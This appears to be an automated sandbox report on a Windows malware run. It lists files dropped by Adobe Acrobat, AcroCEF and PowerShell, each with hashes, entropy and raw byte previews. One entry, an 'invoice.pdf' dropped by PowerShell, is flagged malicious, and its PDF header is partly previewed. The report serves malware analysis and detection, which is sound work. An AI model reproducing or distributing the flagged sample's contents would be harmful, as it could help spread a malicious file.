C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3668484301585615
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDufQ/q0XKdqEKfS8EKfM1ba3Q/q0F:Tll2GL7msMcKTlS8fcsufQ0fI3Qt
MD5:	6141B1A55D9680C45F0118D94CB08CB2
SHA1:	F7CE75D9A595023D4D30EA39AD814934A992B3F8
SHA-256:	58BFF577448F4A127FD0D7503654C194B82BAA88465615910369D85FF3A74736
SHA-512:	1A73A02591A740CD88738471017BBDCEB519410ED5A2EF99275F005926F9566EEE6AEEF957F34D1E7988508E3D466BCF5918724A069FEE8B1F12B8D8E45ADFEF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.844796212404476
Encrypted:	false
SSDEEP:	48:7MhxcKTlS8fcsufQNfIXfqGufl2GL7msf:72DfcsKQhMKNVmsf
MD5:	FEC58BD69644733DB1AA82EB7E0581C0
SHA1:	5D35C7D356A72C44D11BD48B93A6ABE9B43F4167
SHA-256:	1E7F0A77918A1A7B2B905CB933998A2976F29D0EAC687DFE65FD4FA29B7D45AE
SHA-512:	BDF3D550721652B78B77BD89EFE7EBF3711C473A438188F8FE7C292B25BA2214DD2DEBFF6073BB8F29DAA6BE435A8E2AC9A73A93BB61488DCB506FAFD4B0F4CA
Malicious:	false
Preview:	.... .c.....&..F..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg2xreSKf9VjKQ2WrHz0ORXosrYyu:6a6TZ44ADE2xqSKfbGRWLjK
MD5:	B4A1A83D70A9E28F49AC8C46E2BBE732
SHA1:	CD93323988AE0B945D8268456A621C0685C32204
SHA-256:	146157CAF4F7D4CE3A16491B1924FB030B2864B609617024EC24F492B0EA0C27
SHA-512:	430EDB3A93747F1840941CA77602391A27DE7B51AD9C29D81992169A94393C38F7F7BEBB597CA1A1D5DC07A4EDF0F2067A67C3D9AD97F89FCFB68814A93FD97E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI3f8d3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5065515051498046
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClVww:Qw946cPbiOxDlbYnuRK+blw
MD5:	826ED6EEBD501461855DBE5C0DEA88B6
SHA1:	78C32AB85488628418D51A0EC25DE11028131C87
SHA-256:	483FF044D3AFA5C203B022DD8223CEF7DAA9A87F22474D3E5AC52CCFC07D06D7
SHA-512:	8E6CB71CEEAEB54D352C560FED61C743431D139E435A510E21B323F28FB049D49E82019C33004A984BB27CBAA80655DC5BFFE75C1EC5DA54735B0B4AE74EFCD4
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.5.8.:.5.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2tcdijsw.h3u.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gv5ti3m5.wp4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9161ri2v_finht8_i4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91h16n7x_finhtb_i4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-58-52-678.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.376345133123278
Encrypted:	false
SSDEEP:	384:0asPkilNkdEqFAJLUgduj9Jsg3CR2ksmZmEa4A6IIMlTdqwlj6Y1zGzK32gI9aK3:WhL
MD5:	BE7B965F4E8D39D4284B01F465394A1A
SHA1:	8AB69543119EE4F0D8D67A3C6F84DBF8447FC89D
SHA-256:	7FFDA8CA0CD4B67AB00D13B07B3411EB0BBE508CABB24A71FD54AB5D97BCC8ED
SHA-512:	1B07EA873010C14E011235096243AFB67E3A39D45D9908E611A0AFB6C26ED43F48E47F372D933EFB0A7786E901EFE0F76D3EB3D8B3EDB4D60DB1F153C511920C
Malicious:	false
Preview:	SessionID=350adaff-624c-4c69-a745-881b7583fb1b.1736560732746 Timestamp=2025-01-10T20:58:52:746-0500 ThreadID=7348 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=350adaff-624c-4c69-a745-881b7583fb1b.1736560732746 Timestamp=2025-01-10T20:58:52:747-0500 ThreadID=7348 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=350adaff-624c-4c69-a745-881b7583fb1b.1736560732746 Timestamp=2025-01-10T20:58:52:747-0500 ThreadID=7348 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=350adaff-624c-4c69-a745-881b7583fb1b.1736560732746 Timestamp=2025-01-10T20:58:52:747-0500 ThreadID=7348 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=350adaff-624c-4c69-a745-881b7583fb1b.1736560732746 Timestamp=2025-01-10T20:58:52:747-0500 ThreadID=7348 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3796177707707775
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmiucb8IVdcbZ:8qnXopZ50rOdVy
MD5:	8AE63F53A39B82798E4C9D16AE47FAF7
SHA1:	1D08B3621CC9DE59233706DB1E5F24D63286C341
SHA-256:	3B6DF8F5E2D5EE3E88AD517671BC1F27F5BD026D769999E5422B57E021419103
SHA-512:	1DAC16093430D06EE00ED7618E6B96E2B05EE6D77272299BEFD672E8AA2E81DCCC09FECEE2710936C68F7CE545795F9D637780D561024118D1EB92A3F57AAFBF
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1a4e9ecc-309c-4942-b83e-1db983f4054f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\613d98d4-f5e9-47dd-91e1-ba378f7e8e29.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLgGZtwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVuWLgGZtwZGk3mlind9i4ufFXpAXkru
MD5:	A8E5C37206C98D1B655FF994A420FFB6
SHA1:	827237782AB5971EC205C3BCECCC7950BE9F84C3
SHA-256:	F1F755059AF7C2CBC36920337941AEFB18FBDB3CD14D3239CBBBCF0CB8F208EA
SHA-512:	12DE33EB7624458AEC44D83D4E2C09E626F8E54E177FC0C26EEBA232935F34FAAAEB71FBB025EB7C53BEA9933C46ADCE759C32516D1B80C03B6734C61D61CEB2
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7e8ca5aa-f7d3-4503-8b6c-16ba4c25ff1a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\cbcf0d54-93a6-489c-b02d-1c8ffe8689fb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
